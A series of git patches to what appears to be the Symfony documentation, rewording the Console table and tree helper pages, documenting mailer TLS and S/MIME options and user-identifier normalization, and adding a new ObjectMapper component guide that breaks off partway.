      960-425-059-0 The Lord of the Rings    J. R. R. Tolkien
      80-902734-1-6 And Then There Were None Agatha Christie
 
-You can also set the style to ``borderless``::
+**Borderless**::
 
     $table->setStyle('borderless');
     $table->render();
 
-which outputs:
+This outputs:
 
 .. code-block:: terminal
 
@@ -217,12 +241,12 @@ which outputs:
       80-902734-1-6   And Then There Were None   Agatha Christie
      =============== ========================== ==================
 
-You can also set the style to ``box``::
+**Box**::
 
     $table->setStyle('box');
     $table->render();
 
-which outputs:
+This outputs:
 
 .. code-block:: terminal
 
@@ -235,12 +259,12 @@ which outputs:
     │ 80-902734-1-6 │ And Then There Were None │ Agatha Christie  │
     └───────────────┴──────────────────────────┴──────────────────┘
 
-You can also set the style to ``box-double``::
+**Double box**::
 
     $table->setStyle('box-double');
     $table->render();
 
-which outputs:
+This outputs:
 
 .. code-block:: terminal
 
@@ -253,7 +277,10 @@ which outputs:
     ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie  ║
     ╚═══════════════╧══════════════════════════╧══════════════════╝
 
-If the built-in styles do not fit your need, define your own::
+Making a Custom Table Style
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If the built-in styles do not fit your needs, define your own::
 
     use Symfony\Component\Console\Helper\TableStyle;
 
@@ -343,7 +370,7 @@ To make a table cell that spans multiple columns you can use a :class:`Symfony\\
     ;
     $table->render();
 
-This results in:
+This outputs:
 
 .. code-block:: terminal
 
@@ -366,7 +393,7 @@ This results in:
         ]);
         // ...
 
-    This generates:
+    This outputs:
 
     .. code-block:: terminal
 
@@ -445,7 +472,7 @@ The only requirement to append rows is that the table must be rendered inside a
         }
     }
 
-This will display the following table in the terminal:
+This outputs:
 
 .. code-block:: terminal
 
@@ -466,7 +493,7 @@ This will display the following table in the terminal:
         $table->render();
         // ...
 
-    This will display:
+    This outputs:
 
     .. code-block:: terminal
 

From 2727ddee9427ca9b35e1996ac27c891277528d0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 May 2025 17:06:17 +0200
Subject: [PATCH 5602/5766] [Console] Update some contents of the Tree helper

---
 components/console/helpers/tree.rst | 100 ++++++++++++++++++++--------
 1 file changed, 73 insertions(+), 27 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index 1161d00e942..b5839b74a26 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -96,25 +96,51 @@ The above code will output the following tree:
     └── templates
         └── base.html.twig
 
-Building and Rendering a Tree
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Building a Tree Programmatically
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can build a tree by creating a new instance of the
-:class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
+If you don't know the tree elements beforehand, you can build the tree programmatically
+by creating a new instance of the :class:`Symfony\\Component\\Console\\Helper\\Tree`
+class and adding nodes to it::
 
     use Symfony\Component\Console\Helper\TreeHelper;
     use Symfony\Component\Console\Helper\TreeNode;
 
-    $node = TreeNode::fromValues([
-        'Command',
-        'Controller' => [
-            'DefaultController.php',
-        ],
-        'Kernel.php',
-    ]);
-    $node->addChild('templates');
-    $node->addChild('tests');
+    $root = new TreeNode('my-project/');
+    // you can pass a string directly or create a TreeNode object
+    $root->addChild('src/');
+    $root->addChild(new TreeNode('templates/'));
+
+    // create nested structures by adding child nodes to other nodes
+    $testsNode = new TreeNode('tests/');
+    $functionalTestsNode = new TreeNode('Functional/');
+    $testsNode->addChild($functionalTestsNode);
+    $root->addChild(testsNode);
+
+    $tree = TreeHelper::createTree($io, $root);
+    $tree->render();
+
+This example outputs:
+
+.. code-block:: terminal
 
+    my-project/
+    ├── src/
+    ├── templates/
+    └── tests/
+        └── Functional/
+
+If you prefer, you can build the array of elements programmatically and then
+create and render the tree like this::
+
+    $tree = TreeHelper::createTree($io, null, $array);
+    $tree->render();
+
+You can also build part of the tree from an array and then add other nodes::
+
+    $node = TreeNode::fromValues($array);
+    $node->addChild('templates');
+    // ...
     $tree = TreeHelper::createTree($io, $node);
     $tree->render();
 
@@ -125,15 +151,13 @@ Built-in Tree Styles
 ~~~~~~~~~~~~~~~~~~~~
 
 The tree helper provides a few built-in styles that you can use to customize the
-output of the tree::
+output of the tree.
 
-    use Symfony\Component\Console\Helper\TreeStyle;
-    // ...
+**Default**::
 
-    $tree = TreeHelper::createTree($io, $node, [], TreeStyle::compact());
-    $tree->render();
+    TreeHelper::createTree($io, $node, [], TreeStyle::default());
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::default())`` (`details`_)
+This outputs:
 
 .. code-block:: terminal
 
@@ -150,7 +174,11 @@ output of the tree::
     └── templates
        └── base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::box())`` (`details`_)
+**Box**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::box());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -167,7 +195,11 @@ output of the tree::
     ┗╸ templates
        ┗╸ base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::doubleBox())`` (`details`_)
+**Double box**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::doubleBox());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -184,7 +216,11 @@ output of the tree::
     ╚═ templates
       ╚═ base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::compact())`` (`details`_)
+**Compact**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::compact());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -201,7 +237,11 @@ output of the tree::
     └ templates
       └ base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::light())`` (`details`_)
+**Light**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::light());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -218,7 +258,11 @@ output of the tree::
     `-- templates
         `-- base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::minimal())`` (`details`_)
+**Minimal**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::minimal());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -235,7 +279,11 @@ output of the tree::
     . templates
       . base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::rounded())`` (`details`_)
+**Rounded**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::rounded());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -291,5 +339,3 @@ The above code will output the following tree:
     🔵 🟢 🟠 🟡 Kernel.php
     🔵 🟠 🟡 templates
     🔵 🔴 🟠 🟡 base.html.twig
-
-.. _`details`: https://github.com/symfony/symfony/blob/7.3/src/Symfony/Component/Console/Helper/TreeStyle.php

From a51f4a0fe27d05f9c1ad2f5963272d3cd3c7a73b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 May 2025 09:15:54 +0200
Subject: [PATCH 5603/5766] Minor tweaks

---
 mailer.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a562263f24c..adc5beea7ab 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1532,7 +1532,7 @@ encrypter that automatically applies to all outgoing messages:
         framework:
             mailer:
                 smime_encrypter:
-                    repository: app.my_smime_encrypter
+                    repository: App\Security\LocalFileCertificateRepository
 
     .. code-block:: xml
 
@@ -1549,7 +1549,7 @@ encrypter that automatically applies to all outgoing messages:
             <framework:config>
                 <framework:mailer>
                     <framework:smime-encrypter>
-                        <framework:repository>app.my_smime_encrypter</framework:repository>
+                        <framework:repository>App\Security\LocalFileCertificateRepository</framework:repository>
                     </framework:smime-encrypter>
                 </framework:mailer>
             </framework:config>
@@ -1558,17 +1558,20 @@ encrypter that automatically applies to all outgoing messages:
     .. code-block:: php
 
         // config/packages/mailer.php
+        use App\Security\LocalFileCertificateRepository;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
             $mailer = $framework->mailer();
             $mailer->smimeEncrypter()
-                    ->repository('app.my_smime_encrypter')
+                    ->repository(LocalFileCertificateRepository::class)
             ;
         };
 
-The ``repository`` option must be a service ID that implements
-:class:`Symfony\\Component\\Mailer\\EventListener\\SmimeCertificateRepositoryInterface`::
+The ``repository`` option is the ID of a service that implements
+:class:`Symfony\\Component\\Mailer\\EventListener\\SmimeCertificateRepositoryInterface`.
+This interface requires only one method: ``findCertificatePathFor()``, which must
+return the file path to the certificate associated with the given email address::
 
     namespace App\Security;
 
@@ -1591,7 +1594,6 @@ The ``repository`` option must be a service ID that implements
         }
     }
 
-
 .. versionadded:: 7.3
 
     Global message encryption configuration was introduced in Symfony 7.3.

From 347b1c1c5e1052249a869e599be6f430d7c44708 Mon Sep 17 00:00:00 2001
From: chris <chris@sky-scripts.de>
Date: Thu, 8 May 2025 09:16:50 +0200
Subject: [PATCH 5604/5766] Update csrf.rst

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 48e1a09ec2a..2902ab27d61 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -112,7 +112,7 @@ to do anything to be protected against CSRF attacks.
 
 .. _form-csrf-customization:
 
-By default Symfony adds the CSRF token in a hidden field called ``_token``, but
+By default Symfony adds the CSRF token in a hidden field called ``_csrf_token``, but
 this can be customized (1) globally for all forms and (2) on a form-by-form basis.
 Globally, you can configure it under the ``framework.form`` option:
 

From 55217dcd8301cd51b023fa8f049af28b6d493c50 Mon Sep 17 00:00:00 2001
From: Dan Brown <ssddanbrown@googlemail.com>
Date: Sat, 1 Mar 2025 12:16:24 +0000
Subject: [PATCH 5605/5766] [Mailer] Document `require_tls` option

---
 mailer.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index fd34a921b14..daf2c3428af 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -420,6 +420,29 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     This setting only works when the ``smtp://`` protocol is used.
 
+Ensure TLS
+~~~~~~~~~~
+
+You may want to ensure TLS is used, either directly or via ``STARTTLS``,
+for sending mail over SMTP regardless of other options set or SMTP server
+support. You can set TLS as required by calling ``setRequireTls(true)``
+on the ``EsmtpTransport`` instance, or by setting the ``require_tls`` option
+to ``true`` in the DSN::
+
+    $dsn = 'smtp://user:pass@10.0.0.25?require_tls=true';
+
+When TLS is set as required, a :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`
+will be thrown if a TLS connection cannot be achieved during initial communications
+with the SMTP server.
+
+.. note::
+
+    This setting only works when the ``smtp://`` protocol is used.
+
+.. versionadded:: 7.3
+
+    The ``require_tls`` option was introduced in Symfony 7.3.
+
 Binding to IPv4 or IPv6
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From 91aa72885001db55daebacfcdb56757fa41a3b8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 May 2025 10:06:47 +0200
Subject: [PATCH 5606/5766] Minor tweaks

---
 mailer.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e4a26c439e3..5e38bcd1722 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -423,21 +423,20 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 Ensure TLS
 ~~~~~~~~~~
 
-You may want to ensure TLS is used, either directly or via ``STARTTLS``,
-for sending mail over SMTP regardless of other options set or SMTP server
-support. You can set TLS as required by calling ``setRequireTls(true)``
-on the ``EsmtpTransport`` instance, or by setting the ``require_tls`` option
-to ``true`` in the DSN::
+You may want to ensure that TLS is used (either directly or via ``STARTTLS``)
+when sending mail over SMTP, regardless of other options or SMTP server support.
+To require TLS, call ``setRequireTls(true)`` on the ``EsmtpTransport`` instance,
+or set the ``require_tls`` option to ``true`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?require_tls=true';
 
-When TLS is set as required, a :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`
-will be thrown if a TLS connection cannot be achieved during initial communications
+When TLS is required, a :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`
+is thrown if a TLS connection cannot be established during the initial communication
 with the SMTP server.
 
 .. note::
 
-    This setting only works when the ``smtp://`` protocol is used.
+    This setting only applies when using the ``smtp://`` protocol.
 
 .. versionadded:: 7.3
 

From ac6a2587b2e32adf557aaccf86f040f8668d4041 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 8 May 2025 13:54:11 +0200
Subject: [PATCH 5607/5766] Introduce user identifier normalization for
 enhanced consistency

Added support for normalizing user identifiers in Symfony 7.3 to ensure consistent comparison and storage. Updated documentation with implementation examples, highlighting best practices like converting identifiers to lowercase and handling various formats. This improvement reduces the risk of duplicates and improves reliability in user authentication.
---
 security/custom_authenticator.rst | 98 ++++++++++++++++++++++++++++++-
 1 file changed, 95 insertions(+), 3 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 8b2ec9d7f34..5877194ab4e 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -209,13 +209,20 @@ requires a user and some sort of "credentials" (e.g. a password).
 Use the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
 to attach the user to the passport. The ``UserBadge`` requires a user
-identifier (e.g. the username or email), which is used to load the user
-using :ref:`the user provider <security-user-providers>`::
+identifier (e.g. the username or email)::
 
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 
     // ...
-    $passport = new Passport(new UserBadge($email), $credentials);
+    $passport = new Passport(new UserBadge($userIdentifier), $credentials);
+
+User Identifier
+~~~~~~~~~~~~~~~
+
+The user identifier is a unique string that identifies the user. It is used
+to load the user using :ref:`the user provider <security-user-providers>`.
+This identifier is often something like the user's email address or username,
+but it could be any unique value associated with the user.
 
 .. note::
 
@@ -255,6 +262,91 @@ using :ref:`the user provider <security-user-providers>`::
             }
         }
 
+It is a good practice to normalize the user identifier before using it.
+For example, this ensures that variations such as "john.doe", "John.Doe",
+or "JOHN.DOE" refer to the same user.
+Normalization can include converting the identifier to lowercase
+and trimming unnecessary spaces.
+You can optionally pass a user identifier normalizer as third argument to the
+``UserBadge``. This callable receives the ``$userIdentifier``
+and must return a normalized user identifier as a string.
+
+.. versionadded:: 7.3
+
+    The support of the user identifier normalizer was introduced in Symfony 7.3.
+
+For instance, the example below uses a normalizer that converts usernames to a normalized, ASCII-only, lowercase format,
+suitable for consistent comparison and storage.
+
+    // src/Security/NormalizedUserBadge.php
+    namespace App\Security;
+
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\String\UnicodeString;
+    use function Symfony\Component\String\u;
+
+    final class NormalizedUserBadge extends UserBadge
+    {
+        public function __construct(string $identifier)
+        {
+            $callback = static fn (string $identifier) => u($identifier)->normalize(UnicodeString::NFKC)->ascii()->lower()->toString();
+
+            parent::__construct($identifier, null, $callback);
+        }
+    }
+
+    // src/Security/PasswordAuthenticator.php
+    namespace App\Security;
+
+    final class PasswordAuthenticator extends AbstractLoginFormAuthenticator
+    {
+        // Simplified for brievety
+        public function authenticate(Request $request): Passport
+        {
+            $username = (string) $request->request->get('username', '');
+            $password = (string) $request->request->get('password', '');
+
+            $request->getSession()
+                ->set(SecurityRequestAttributes::LAST_USERNAME, $username);
+
+            return new Passport(
+                new NormalizedUserBadge($username),
+                new PasswordCredentials($password),
+                [
+                    //All other useful badges
+                ]
+            );
+        }
+    }
+
+.. note::
+
+    For example, Google treats the following email addresses as equivalent:
+    ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and ``johndoe@gmail.com``.
+    This is because Google applies normalization rules that remove dots
+    and convert the address to lowercase (though behavior varies across services).
+
+.. note::
+
+    In enterprise environments, a user may authenticate using different formats
+    of their identifier, such as:
+
+    - ``john.doe@acme.com``
+    - ``acme.com\jdoe``
+    - ``https://acme.com/+jdoe``
+    - ``acct:jdoe@acme.com``
+
+    Applying normalization (e.g., trimming, lowercasing, or format unification)
+    helps ensure consistent identity recognition across systems and prevents
+    duplicates caused by format variations.
+
+User Credential
+~~~~~~~~~~~~~~~
+
+The user credential is used to authenticate the user i.e. to verify
+the validity of the provided information (such as a password, an API token,
+or other custom credentials).
+
 The following credential classes are supported by default:
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`

From 9ea15853923979d457e45674bc8f4ab9c3ed306f Mon Sep 17 00:00:00 2001
From: soyuka <soyuka@users.noreply.github.com>
Date: Thu, 24 Oct 2024 21:04:38 +0200
Subject: [PATCH 5608/5766] [ObjectMapper] Add component

---
 object-mapper.rst | 729 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 729 insertions(+)
 create mode 100644 object-mapper.rst

diff --git a/object-mapper.rst b/object-mapper.rst
new file mode 100644
index 00000000000..f46ab732110
--- /dev/null
+++ b/object-mapper.rst
@@ -0,0 +1,729 @@
+Object Mapper
+=============
+
+Symfony provides a mapper component to transform a given object into another one,
+simplifying tasks like converting DTOs (Data Transfer Objects) to entities or
+vice-versa. It may also be useful when decoupling API input/output from internal
+models helping with legacy code or hexagonal architectures implementations.
+
+.. versionadded:: 7.2
+
+    The ObjectMapper component is experimental. Experimental features are not
+    covered by the backward compatibility promise.
+
+Installation
+------------
+
+Run this command to install the ``object-mapper`` component before using it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/object-mapper
+
+Using the ObjectMapper
+----------------------
+
+Once installed, the object mapper service can be injected into any service or
+controller where you need it:
+
+::
+
+    // src/Controller/UserController.php
+    namespace App\Controller;
+
+    use App\Dto\UserInput;
+    use App\Entity\User;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\ObjectMapper\ObjectMapperInterface;
+
+    class UserController extends AbstractController
+    {
+        public function updateUser(UserInput $userInput, ObjectMapperInterface $objectMapper): Response
+        {
+            $user = new User();
+            // Map properties from UserInput to User
+            $objectMapper->map($userInput, $user);
+
+            // ... persist $user and return response
+            return new Response('User updated!');
+        }
+    }
+
+Basic Mapping
+-------------
+
+The core functionality is provided by the ``map()`` method. It takes a source
+object and maps its properties onto a target. The target can be either a
+class name (a new instance will be created) or an existing object instance.
+
+**Mapping to a New Object:**
+
+Provide the target class name as the second argument:
+
+::
+
+    use App\Dto\ProductInput;
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+
+    $productInput = new ProductInput();
+    $productInput->name = 'Wireless Mouse';
+    $productInput->sku = 'WM-1024';
+
+    $mapper = new ObjectMapper();
+    // Creates a new Product instance and maps properties from $productInput
+    $product = $mapper->map($productInput, Product::class);
+
+    // $product is now an instance of Product
+    // with $product->name = 'Wireless Mouse' and $product->sku = 'WM-1024'
+
+**Mapping to an Existing Object:**
+
+Provide an existing object instance as the second argument to update it:
+
+::
+
+    use App\Dto\ProductUpdateInput;
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+
+    $product = $productRepository->find(1);
+
+    $updateInput = new ProductUpdateInput();
+    $updateInput->price = 99.99;
+
+    $mapper = new ObjectMapper();
+    // Updates the existing $product instance
+    $mapper->map($updateInput, $product);
+
+    // $product->price is now 99.99
+
+**Mapping from ``stdClass``:**
+
+The source object can also be an instance of ``stdClass``:
+
+::
+
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+
+    $productData = new \stdClass();
+    $productData->name = 'Keyboard';
+    $productData->sku = 'KB-001';
+
+    $mapper = new ObjectMapper();
+    $product = $mapper->map($productData, Product::class);
+
+    // $product is an instance of Product with properties mapped from $productData
+
+Configuring Mapping with Attributes
+-----------------------------------
+
+The ObjectMapper uses PHP attributes to configure the mapping process. The
+primary attribute is :class:`Symfony\\Component\\ObjectMapper\\Attribute\\Map`.
+
+**Defining the Default Target Class:**
+
+Apply ``#[Map]`` to the source class to define its default mapping target:
+
+::
+
+    // src/Dto/ProductInput.php
+    namespace App\Dto;
+
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Product::class)]
+    class ProductInput
+    {
+        public string $name = '';
+        public string $sku = '';
+    }
+
+    // Now you can call map() without the second argument if ProductInput is the source:
+    $mapper = new ObjectMapper();
+    $product = $mapper->map($productInput); // Maps to Product automatically
+
+**Configuring Property Mapping:**
+
+Apply ``#[Map]`` to properties to customize their mapping behavior.
+
+* ``target``: Specifies the name of the property in the target object.
+* ``source``: Specifies the name of the property in the source object (useful
+    when mapping is defined on the target, see below).
+* ``if``: Defines a condition for mapping the property.
+* ``transform``: Applies a transformation to the value before mapping.
+
+::
+
+    // src/Dto/OrderInput.php
+    namespace App\Dto;
+
+    use App\Entity\Order;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Order::class)]
+    class OrderInput
+    {
+        // Map 'customerEmail' from source to 'email' in target
+        #[Map(target: 'email')]
+        public string $customerEmail = '';
+
+        // Do not map this property at all
+        #[Map(if: false)]
+        public string $internalNotes = '';
+
+        // Only map 'discountCode' if it's a non-empty string
+        #[Map(if: 'strlen')] // Uses the built-in strlen function as a condition
+        public ?string $discountCode = null;
+    }
+
+By default, if a property exists in the source but not in the target, it's
+ignored. If a property exists in both and has no ``#[Map]`` attribute, it's
+mapped directly if the names match.
+
+**Conditional Mapping with Services:**
+
+For complex conditions, you can use a dedicated service implementing
+:class:`Symfony\\Component\\ObjectMapper\\ConditionCallableInterface`. The service
+name (its class name by default) is passed to the ``if`` parameter:
+
+::
+
+    // src/ObjectMapper/IsShippableCondition.php
+    namespace App\ObjectMapper;
+
+    use App\Dto\OrderInput;
+    use App\Entity\Order; // Target type hint
+    use Symfony\Component\ObjectMapper\ConditionCallableInterface;
+
+    /**
+     * @implements ConditionCallableInterface<OrderInput, Order>
+     */
+    final class IsShippableCondition implements ConditionCallableInterface
+    {
+        public function __invoke(mixed $value, object $source, ?object $target): bool
+        {
+            // Example: Only map shipping address if order total is above 50
+            return $source->total > 50;
+        }
+    }
+
+::
+
+    // src/Dto/OrderInput.php
+    namespace App\Dto;
+
+    use App\Entity\Order;
+    use App\ObjectMapper\IsShippableCondition;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Order::class)]
+    class OrderInput
+    {
+        public float $total = 0.0;
+
+        #[Map(if: IsShippableCondition::class)]
+        public ?string $shippingAddress = null;
+    }
+
+For this to work, ``IsShippableCondition`` must be registered as a service.
+
+.. _object_mapper-conditional-property-target:
+
+**Conditional Property Mapping based on Target:**
+
+When a source class can be mapped to multiple target classes, you might want
+to map a specific property only when mapping to a particular target. You can
+achieve this using the :class:`Symfony\\Component\\ObjectMapper\\Condition\\TargetClass`
+condition within the ``if`` parameter on a property's ``#[Map]`` attribute.
+
+This is useful for creating different representations (e.g., public vs. admin)
+from the same source object, offering an alternative to serialization groups.
+
+::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use App\Dto\AdminUserProfile;
+    use App\Dto\PublicUserProfile;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+    use Symfony\Component\ObjectMapper\Condition\TargetClass;
+
+    // This User entity can be mapped to two different DTOs
+    #[Map(target: PublicUserProfile::class)]
+    #[Map(target: AdminUserProfile::class)]
+    class User
+    {
+        // Map 'lastLoginIp' to 'ipAddress' ONLY when the target is AdminUserProfile
+        #[Map(target: 'ipAddress', if: new TargetClass(AdminUserProfile::class))]
+        public ?string $lastLoginIp = '192.168.1.100';
+
+        // Map 'registrationDate' to 'memberSince' for both targets
+        #[Map(target: 'memberSince')]
+        public \DateTimeImmutable $registrationDate;
+
+        public function __construct() {
+            $this->registrationDate = new \DateTimeImmutable();
+        }
+    }
+
+    // src/Dto/PublicUserProfile.php
+    namespace App\Dto;
+    class PublicUserProfile {
+        public \DateTimeImmutable $memberSince;
+        // No $ipAddress property here
+    }
+
+    // src/Dto/AdminUserProfile.php
+    namespace App\Dto;
+    class AdminUserProfile {
+        public \DateTimeImmutable $memberSince;
+        public ?string $ipAddress = null; // Mapped from lastLoginIp
+    }
+
+    // Usage:
+    $user = new User();
+    $mapper = new ObjectMapper();
+
+    $publicProfile = $mapper->map($user, PublicUserProfile::class);
+    // No IP address available
+
+    $adminProfile = $mapper->map($user, AdminUserProfile::class);
+    // $adminProfile->ipAddress = '192.168.1.100'
+
+Transforming Values
+-------------------
+
+Use the ``transform`` option within ``#[Map]`` to modify a value before it's
+assigned to the target property. The value can be a callable (like a built-in
+PHP function name, a static method, or an anonymous function) or a service
+implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
+
+**Using Callables:**
+
+::
+
+    // src/Dto/ProductInput.php
+    namespace App\Dto;
+
+    use App\Entity\Product;
+    use App\Util\PriceFormatter;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Product::class)]
+    class ProductInput
+    {
+        // Use a static method from another class for formatting
+        #[Map(target: 'displayPrice', transform: [PriceFormatter::class, 'format'])]
+        public float $price = 0.0;
+
+        // Can also use simple built-ins
+        #[Map(transform: 'intval')]
+        public string $stockLevel = '100';
+    }
+
+::
+
+    // src/Util/PriceFormatter.php
+    namespace App\Util;
+    class PriceFormatter {
+        public static function format(float $value, object $source): string {
+            return number_format($value, 2, '.', '');
+        }
+    }
+
+**Using Transformer Services:**
+
+Similar to conditions, complex transformations can be encapsulated in services
+implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
+
+::
+
+    // src/ObjectMapper/FullNameTransformer.php
+    namespace App\ObjectMapper;
+
+    use App\Dto\UserInput;
+    use App\Entity\User;
+    use Symfony\Component\ObjectMapper\TransformCallableInterface;
+
+    /**
+     * @implements TransformCallableInterface<UserInput, User>
+     */
+    final class FullNameTransformer implements TransformCallableInterface
+    {
+        public function __invoke(mixed $value, object $source, ?object $target): mixed
+        {
+            return trim($source->firstName . ' ' . $source->lastName);
+        }
+    }
+
+::
+
+    // src/Dto/UserInput.php
+    namespace App\Dto;
+
+    use App\Entity\User;
+    use App\ObjectMapper\FullNameTransformer;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: User::class)]
+    class UserInput
+    {
+        // This property's value will be generated by the transformer
+        #[Map(target: 'fullName', transform: FullNameTransformer::class)]
+        public string $firstName = '';
+
+        public string $lastName = '';
+    }
+
+**Class-Level Transformation:**
+
+You can apply a ``transform`` callable at the class level. This callable is
+executed *after* the target object is initially created (if the target is a
+class name we use ``newInstanceWithoutConstructor``) but *before* properties
+are mapped. Its responsibility is often to return a correctly initialized
+instance, potentially replacing the one created by the mapper.
+The returned value *must* be an object of the target type or else an
+exception will be thrown.
+
+::
+
+    // src/Dto/LegacyUserData.php
+    namespace App\Dto;
+
+    use App\Entity\User;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    // Use a static factory method on the target User class for instantiation
+    #[Map(target: User::class, transform: [User::class, 'createFromLegacy'])]
+    class LegacyUserData
+    {
+        public int $userId = 0;
+        public string $name = '';
+    }
+
+::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+    class User {
+        public string $name = '';
+        private int $legacyId = 0;
+
+        private function __construct() {} // Private constructor
+
+        public static function createFromLegacy(mixed $value, object $source): self
+        {
+            // $value is the initially created (empty) User object
+            // $source is the LegacyUserData object
+            $user = new self();
+            $user->legacyId = $source->userId;
+            // Property mapping will happen *after* this method returns $user
+            return $user;
+        }
+    }
+
+Mapping Multiple Targets
+------------------------
+
+A source class can be configured to map to multiple different target classes.
+Apply the ``#[Map]`` attribute multiple times at the class level, typically
+using the ``if`` condition to determine which target is appropriate based on the
+source object's state or other logic.
+
+::
+
+    // src/Dto/EventInput.php
+    namespace App\Dto;
+
+    use App\Entity\OnlineEvent;
+    use App\Entity\PhysicalEvent;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: OnlineEvent::class, if: [self::class, 'isOnline'])]
+    #[Map(target: PhysicalEvent::class, if: [self::class, 'isPhysical'])]
+    class EventInput
+    {
+        public string $type = 'online'; // e.g., 'online' or 'physical'
+        public string $title = '';
+
+        /**
+         * In class-level conditions, $value is null.
+         */
+        public static function isOnline(?mixed $value, object $source): bool
+        {
+            return $source->type === 'online';
+        }
+
+        public static function isPhysical(?mixed $value, object $source): bool
+        {
+            return $source->type === 'physical';
+        }
+    }
+
+    // src/Entity/OnlineEvent.php / PhysicalEvent.php ...
+
+    // Usage:
+    $eventInput = new EventInput();
+    $eventInput->type = 'physical';
+    $mapper = new ObjectMapper();
+    $event = $mapper->map($eventInput); // Automatically maps to PhysicalEvent
+
+Mapping Based on Target Properties (Source Mapping)
+---------------------------------------------------
+
+Sometimes, it's more convenient to define the mapping on the *target* class,
+specifying where its properties should come from in the *source* class. This is
+done using the ``source`` parameter within the ``#[Map]`` attribute on the target's
+properties.
+
+Note that if both the ``source`` and the ``target`` classes define the ``#[Map]``
+attribute, the ``source`` takes precedence.
+
+::
+
+    // src/Api/Payload.php - Represents data from an external API
+    namespace App\Api;
+    class Payload
+    {
+        public string $product_name = ''; // Source property name uses snake_case
+        public float $price_amount = 0.0;
+    }
+
+::
+
+    // src/Entity/Product.php - Our application's entity
+    namespace App\Entity;
+
+    use App\Api\Payload;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    // Define that Product can be mapped *from* Payload
+    #[Map(source: Payload::class)]
+    class Product
+    {
